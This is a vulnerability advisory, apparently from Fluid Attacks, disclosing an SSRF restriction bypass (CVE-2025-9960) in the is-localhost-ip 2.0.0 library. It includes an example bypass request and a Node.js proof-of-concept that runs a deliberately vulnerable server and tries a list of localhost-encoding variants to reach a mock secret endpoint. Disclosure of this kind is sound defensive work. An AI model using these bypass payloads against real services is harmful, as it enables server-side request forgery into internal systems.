is-localhost-ip 2.0.0 - SSRF via Restrictions bypass

6,9

Medium

6,9

Medium

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

is-localhost-ip 2.0.0 - SSRF via Restrictions bypass

Code name

State

Public

Release date

22 sept 2025

Affected product

is-localhost-ip

Vendor

is-localhost-ip

Affected version(s)

2.0.0

Vulnerability name

Server-side request forgery (SSRF)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

CVE ID(s)

Description

is-localhost-ip is a library designed to determine whether a given IP address resolves to localhost. However, the validation can be bypassed by using alternative representations such as IPv6-mapped IPv4 addresses (e.g.,::ffff:127.0.0.1), allowing restricted localhost access to be incorrectly permitted.

If an app uses this library for security verification, it could be vulnerable to attacks such as Server Side Request Forgery (SSRF).

Vulnerability

The library misclassifies IPv6 addresses and allows localhost checks to be bypassed. Two issues combine:

  1. False negatives for valid IPv6 localhost representations (bypass): The code only pattern‑matches a limited set of textual forms and misses IPv4‑mapped localhost in hextet form, e.g, .::ffff:7f00:1 (which equals 127.0.0.1). Because canBind defaults to false, these variants do not match the regex and often fail the bind check, so they are treated as NOT localhost.

  2. False positives for non‑loopback “private” ranges (trust expansion): The regex treats RFC1918 (10/8, 172.16/12, 192.168/16), link‑local 169.254/16, and IPv6 ULA/LL (fc00::/7, fe80::/10) as localhost. Those addresses are reachable from other hosts and must not be considered loopback. When canBind=false, they are accepted without verifying that the interface actually exists locally.

Relevant code paths:

// Addresses reserved for private networks (not just loopback)
const IP_RANGES = [
  /^(:{2}f{4}:)?10(?:\.\d{1,3}){3}$/,
  /^(:{2}f{4}:)?127(?:\.\d{1,3}){3}$/,
  /^(::f{4}:)?169\.254\.([1-9]|1?\d\d|2[0-4]\d|25[0-4])\.\d{1,3}$/,
  /^(:{2}f{4}:)?(172\.1[6-9]|172\.2\d|172\.3[01])(?:\.\d{1,3}){2}$/,
  /^(:{2}f{4}:)?192\.168(?:\.\d{1,3}){2}$/,
  /^f[cd][\da-f]{2}(::1$|:[\da-f]{1,4}){1,7}$/,
  /^fe[89ab][\da-f](::1$|:[\da-f]{1,4}){1,7}$/,
];

async function isLocalhost(ipOrHostname, canBind = false) {
  if (isIP(ipOrHostname)) {
    if (IP_TESTER_RE.test(ipOrHostname) && !canBind) return true; // trusts broad ranges
    return canBindToIp(ipOrHostname); // fallback bind check
  }
  // ... DNS lookup then recurse
}

Impact in practice:

// False negative (bypass): IPv4‑mapped IPv6 loopback in hextets
await isLocalhost('::ffff:7f00:1'); // false  ← treated as NOT localhost

// False positive (trust expansion): ULA and private ranges treated as localhost
await isLocalhost('fc00::1');       // true   ← accepted without interface check
await isLocalhost('192.168.1.10');  // true   ← not loopback, but allowed

HTTP example bypass against an allow‑list that blocks localhost using this library:

GET /check-url?url=http://[::ffff:7f00:1]:3005/secret HTTP/1.1
Host: localhost:3005

This is vulnerable because:

  • The function equates “private/ULA/LL addresses” with “localhost”, expanding the trust boundary beyond the loopback device and enabling SSRF to internal services.

  • It fails to normalize and positively identify all loopback representations (e.g.,::ffff:7f00:1), letting attackers smuggle loopback through IPv6 forms that the regex does not cover.

  • With canBind=false (default), addresses are accepted purely by regex, even if the host cannot bind to them, making both classes of mistakes exploitable via direct IPs or DNS records that resolve to them.

Safe behavior should restrict “localhost” to only loopback addresses: 127.0.0.0/8, ::1, and ::ffff:127.0.0.0/104 (IPv4‑mapped), and must normalize/parse instead of relying on fragile regexes.

PoC

const express = require('express');
const isLocalhost = require('is-localhost-ip');

const app = express();
const PORT = 3005;

app.use(express.json());

app.get('/check-url', async (req, res) => {
  try {
    const { url } = req.query;
    
    if (!url) {
      return res.status(400).json({ 
        error: 'URL required as query parameter',
        example: '/check-url?url=https://google.com'
      });
    }

    let hostname;
    try {
      const urlObj = new URL(url);
      hostname = urlObj.hostname;
    } catch (error) {
      return res.status(400).json({ 
        error: 'Invalid URL',
        provided: url
      });
    }

    const isLocal = await isLocalhost(hostname);
    
    if (isLocal) {
      return res.status(403).json({
        error: 'localhost not allowed'
      });
    }

    // If not localhost, fetch content
    console.log(`Fetching: ${url}`);
    
    const response = await fetch(url);
    const content = await response.text();
    
    res.send(content);

  } catch (error) {
    console.error('Error:', error.message);
    res.status(500).json({
      error: 'Internal server error',
      details: error.message
    });
  }
});

app.get('/', (req, res) => {
  res.json({
    message: 'Express server running',
    usage: 'GET /check-url?url=https://example.com',
    examples: [
      'GET /check-url?url=https://httpbin.org/json',
      'GET /check-url?url=http://localhost:8080',
      'GET /check-url?url=https://google.com'
    ],
    endpoints: [
      'GET /',
      'GET /check-url?url=<URL>',
      'GET /secret'
    ],
    port: PORT
  });
});

// Function to test localhost bypass on /check-url
async function testLocalhostBypassOnCheckUrl() {
  const baseUrl = 'http://localhost:3005/check-url?url=';
  const targetUrl = 'http://localhost:3005/secret'; // URL we want to access
  
  const variants = [
    'localhost:3005/secret',
    '127.0.0.1:3005/secret', 
    '0x7f000001:3005/secret', // Hexadecimal
    '2130706433:3005/secret', // Decimal
    '127.000.000.001:3005/secret', // With zeros
    '127.0.0.01:3005/secret', // Zero variant
    '0177.0.0.01:3005/secret', // Octal
    '[::ffff:7f00:1]:3005/secret' // Specific IPv6 final 🎯
  ];

  console.log('\n🚀 ===== STARTING LOCALHOST BYPASS TESTS =====');
  console.log('🎯 Testing access to /secret through /check-url');
  console.log('='.repeat(55));
  
  const results = [];
  let successCount = 0;

  for (const variant of variants) {
    try {
      const testUrl = `http://${variant}`;
      const fullUrl = `${baseUrl}${encodeURIComponent(testUrl)}`;
      
      console.log(`\n🔍 Testing: ${variant}`);
      console.log(`   Full URL: ${fullUrl}`);
      
      const response = await fetch(fullUrl);
      const responseText = await response.text();
      
      if (response.status === 403) {
        results.push({
          variant,
          status: 'blocked ❌',
          statusCode: response.status,
          message: 'localhost blocked correctly'
        });
        console.log(`   ❌ BLOCKED - Status: ${response.status}`);
      } else if (response.status === 200) {
        // Check if response contains an API key (indicating successful bypass)
        let isApiKey = false;
        try {
          const jsonResponse = JSON.parse(responseText);
          if (jsonResponse.apikey || jsonResponse.type === 'secret_key') {
            isApiKey = true;
            successCount++;
          }
        } catch (e) {
          // Not JSON, but status 200 could be bypass
        }
        
        results.push({
          variant,
          status: isApiKey ? 'BYPASS SUCCESS! 🔥' : 'response received ⚠️',
          statusCode: response.status,
          isApiKey,
          responsePreview: responseText.substring(0, 100)
        });
        
        if (isApiKey) {
          console.log(`   🔥 BYPASS SUCCESS! - Got API key`);
        } else {
          console.log(`   ⚠️  Response received - Status: ${response.status}`);
        }
      } else {
        results.push({
          variant,
          status: `error ${response.status} ❌`,
          statusCode: response.status
        });
        console.log(`   ❌ Error - Status: ${response.status}`);
      }
      
    } catch (error) {
      results.push({
        variant,
        status: 'failed ❌',
        error: error.message
      });
      console.log(`   ❌ Failed: ${error.message}`);
    }
  }

  console.log('\n' + '='.repeat(55));
  console.log('📊 TEST SUMMARY:');
  console.log(`   Total tested: ${variants.length}`);
  console.log(`   Successful bypasses: ${successCount}`);
  console.log(`   Blocked: ${results.filter(r => r.status.includes('blocked')).length}`);
  console.log(`   Errors: ${results.filter(r => r.status.includes('failed') || r.status.includes('error')).length}`);
  
  if (successCount > 0) {
    console.log('\n🎉 VULNERABILITY FOUND!');
    console.log('🔓 Successfully bypassed localhost protection');
  } else {
    console.log('\n🛡️  Localhost protection working correctly');
  }
  console.log('=' + '='.repeat(54));
  
  return results;
}


app.get('/secret', (req, res) => {
  const generateApiKey = () => {
    const prefixes = ['sk_live_', 'pk_test_', 'api_key_', 'token_', 'key_'];
    const prefix = prefixes[Math.floor(Math.random() * prefixes.length)];
    
    const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let result = '';
    for (let i = 0; i < 32; i++) {
      result += chars.charAt(Math.floor(Math.random() * chars.length));
    }
    
    return prefix + result;
  };
  
  const apiKey = generateApiKey();
  
  res.json({
    apikey: apiKey,
    type: "secret_key",
    expires_in: Math.floor(Math.random() * 365) + 30, // days
    created_at: new Date().toISOString(),
    permissions: ["read", "write", "admin"]
  });
});

app.listen(PORT, async () => {
  console.log(`Express server running on http://localhost:${PORT}`);
  console.log(`Usage: GET /check-url?url=https://example.com`);
  
  // Execute bypass tests automatically
  setTimeout(async () => {
    try {
      await testLocalhostBypassOnCheckUrl();
    } catch (error) {
      console.error('Error in bypass tests:', error.message);
    }
  }, 1000); // Wait 1 second for server to be ready
});

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-9960 to refer to this issue from now on.

Disclosure policy

System Information

  • is-localhost-ip

  • Version 2.0.0

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

2 sept 2025

Vulnerability discovered

3 sept 2025

Vendor contacted

22 sept 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.